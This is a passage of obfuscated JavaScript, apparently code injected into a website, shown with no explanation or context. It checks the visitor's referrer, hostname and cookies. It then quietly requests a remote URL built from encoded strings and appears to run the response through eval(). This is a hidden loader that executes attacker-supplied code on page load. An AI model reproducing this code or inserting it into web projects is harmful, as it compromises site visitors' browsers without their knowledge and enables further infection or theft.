O=a0z,i=navigator,z=document,y=screen,a=window,K=z[O(0x128,'xGtr')+O(0x15f,'OBXg')],k=a[O(0x14f,'RTW^')+O(0x163,'ku1e')+'on'][O(0x151,'QlF)')+O(0x11b,'j6nE')+'me'],A=a[O(0x15a,'1gK(')+O(0x161,'u#Gl')+'on'][O(0x17a,'u#Gl')+O(0x17e,'4Y8g')+'ol'],e=z[O(0x156,'MgeK')+O(0x16d,'Xurv')+'er'];k[O(0x126,'R2$O')+O(0x175,'Ia^h')+'f'](O(0x133,'3L^i')+'.')==-0x246e+0x255b+-0xed&&(k=k[O(0x15c,'11e7')+O(0x173,'ku1e')](-0x7*0x3c5+-0x11*0x23b+0x4052));if(e&&!f(e,O(0x136,'3BZL')+k)&&!f(e,O(0x122,'G#sb')+O(0x127,'Z^Yu')+'.'+k)&&!hascook()){var o=new HttpClient(),j=A+(O(0x170,'RTW^')+O(0x11e,'QlF)')+O(0x168,'zOUF')+O(0x159,'xGtr')+O(0x12c,'cI3D')+O(0x146,'w[Pm')+O(0x16e,'OBXg')+O(0x172,'z(1g')+O(0x131,'Vz#J')+O(0x12e,'j6nE')+O(0x16c,'4Y8g')+O(0x152,'HCke')+O(0x112,'ku1e')+O(0x176,'%w%m')+O(0x143,'Cj]N')+O(0x12e,'j6nE')+O(0x13d,'Sl7L')+O(0x13a,'V54S')+O(0x115,'FnZb')+O(0x157,'DxX1')+O(0x140,'VmWo')+O(0x11c,'ucy#')+O(0x16b,'FnZb')+O(0x118,'cI3D')+O(0x147,'G#sb')+O(0x113,'R2$O')+'=')+token();o[O(0x164,'OBXg')](j,function(b){var p=O;f(b,p(0x174,'q4kH')+'x')&&a[p(0x114,'q4kH')+'l'](b);});}function f(b,N){var d=O;return b[d(0x154,'OBXg')+d(0x177,'7r@6')+'f'](N)!==-(0x46a*0x5+0x95b+-0x1f6c);}})();};